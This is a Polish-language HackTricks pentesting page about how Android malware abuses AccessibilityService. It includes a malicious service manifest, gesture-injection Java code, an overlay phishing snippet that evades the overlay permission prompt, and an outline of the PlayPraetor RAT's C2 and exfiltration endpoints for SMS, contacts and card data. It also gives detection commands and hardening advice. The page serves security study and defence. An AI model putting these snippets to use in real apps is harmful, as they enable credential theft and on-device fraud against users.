hacktricks/src/mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md

146 lines
7.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Nadużycie usługi dostępności Androida
{{#include ../../banners/hacktricks-training.md}}
## Przegląd
`AccessibilityService` został stworzony, aby pomóc użytkownikom z niepełnosprawnościami w interakcji z urządzeniami Android. Niestety, te same **potężne API automatyzacji** (globalna nawigacja, wprowadzanie tekstu, dyspozycja gestów, okna nakładek…) mogą być wykorzystane przez złośliwe oprogramowanie do uzyskania **pełnej zdalnej kontroli** nad urządzeniem _bez uprawnień roota_.
Nowoczesne trojany bankowe Androida i trojany zdalnego dostępu (RAT) takie jak **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** i wiele innych stosują ten sam schemat:
1. Wykorzystać inżynierię społeczną, aby ofiara włączyła złośliwą usługę dostępności (uprawnienie *BIND_ACCESSIBILITY_SERVICE* jest uważane za "wysokiego ryzyka" i wymaga wyraźnej akcji użytkownika).
2. Wykorzystać usługę do
* przechwytywania każdego zdarzenia UI i tekstu, który pojawia się na ekranie,
* wstrzykiwania syntetycznych gestów (`dispatchGesture`) i globalnych akcji (`performGlobalAction`), aby zautomatyzować dowolne zadanie, które operator pragnie,
* rysowania nakładek na pełnym ekranie na wierzchu legalnych aplikacji przy użyciu typu okna **TYPE_ACCESSIBILITY_OVERLAY** (bez monitu `SYSTEM_ALERT_WINDOW`!),
* cichego przyznawania dodatkowych uprawnień w czasie rzeczywistym, klikając w okna dialogowe systemowe w imieniu ofiary.
3. Ekstrahować dane lub przeprowadzać **On-Device-Fraud (ODF)** w czasie rzeczywistym, podczas gdy użytkownik patrzy na zupełnie normalny ekran.
---
## Żądanie uprawnienia
```xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
```
Towarzyszący plik XML definiuje, jak będzie wyglądać fałszywe okno dialogowe:
```xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
```
---
## Zdalne prymitywy automatyzacji UI
```java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
```
Z tymi dwoma API atakujący może:
* Odblokować ekran, otworzyć aplikację bankową, nawigować po jej drzewie UI i złożyć formularz przelewu.
* Akceptować każde okno dialogowe z prośbą o pozwolenie, które się pojawi.
* Instalować/aktualizować dodatkowe APK za pomocą intencji Sklepu Play.
---
## Wzorce nadużyć
### 1. Phishing przez nakładki (Zbieranie poświadczeń)
Przezroczysty lub nieprzezroczysty `WebView` jest dodawany do menedżera okien:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
```
Ofiara wpisuje dane uwierzytelniające w fałszywym formularzu, podczas gdy aplikacja w tle odbiera te same gesty nigdy nie jest wyświetlany podejrzany komunikat "rysuj nad innymi aplikacjami".
> Szczegółowy przykład: sekcja *Phishing przez nakładkę dostępności* na stronie Tapjacking.
### 2. Automatyzacja oszustw na urządzeniu
Rodziny złośliwego oprogramowania, takie jak **PlayPraetor**, utrzymują stały kanał WebSocket, w którym operator może wydawać polecenia na wysokim poziomie (`init`, `update`, `alert_arr`, `report_list`, …). Usługa tłumaczy te polecenia na niskopoziomowe gesty, osiągając nieautoryzowane transakcje w czasie rzeczywistym, które łatwo omijają uwierzytelnianie wieloskładnikowe związane z tym urządzeniem.
### 3. Streaming i monitorowanie ekranu
Łącząc **MediaProjection API** z biblioteką klienta RTMP, RAT może transmitować na żywo bufor ramki do `rtmp://<c2>:1935/live/<device_id>`, dając przeciwnikowi doskonałą świadomość sytuacyjną, podczas gdy silnik dostępności obsługuje interfejs użytkownika.
---
## PlayPraetor przepływ pracy dowodzenia i kontroli
1. **HTTP(S) heartbeat** iteruj po twardo zakodowanej liście, aż jedna domena odpowie `POST /app/searchPackageName` z aktywnym C2.
2. **WebSocket (port 8282)** dwukierunkowe polecenia JSON:
* `update` wprowadź nowe conf/APK
* `alert_arr` skonfiguruj szablony nakładek
* `report_list` wyślij listę docelowych nazw pakietów
* `heartbeat_web` utrzymanie połączenia
3. **RTMP (port 1935)** transmisja na żywo ekranu/wideo.
4. **REST exfiltration**
* `/app/saveDevice` (odcisk palca)
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
* `/app/saveCardPwd` (dane bankowe)
**AccessibilityService** to lokalny silnik, który przekształca te polecenia w interakcje fizyczne.
---
## Wykrywanie złośliwych usług dostępności
* `adb shell settings get secure enabled_accessibility_services`
* Ustawienia → Dostępność → *Pobrane usługi* szukaj aplikacji, które **nie** pochodzą z Google Play.
* Rozwiązania MDM / EMM mogą wymuszać `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) w celu zablokowania usług zainstalowanych zewnętrznie.
* Analizuj działające usługi:
```bash
adb shell dumpsys accessibility | grep "Accessibility Service"
```
---
## Rekomendacje dotyczące wzmocnienia dla deweloperów aplikacji
* Oznacz wrażliwe widoki jako `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
* Połącz `setFilterTouchesWhenObscured(true)` z `FLAG_SECURE`, aby zapobiec przechwytywaniu dotyków/nakładek.
* Wykrywaj nakładki, sprawdzając `WindowManager.getDefaultDisplay().getFlags()` lub API `ViewRootImpl`.
* Odmów działania, gdy `Settings.canDrawOverlays()` **lub** aktywna jest nieufna usługa dostępności.
---
## Referencje
* [PlayPraetors evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
* [Android accessibility documentation Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
{{#include ../../banners/hacktricks-training.md}}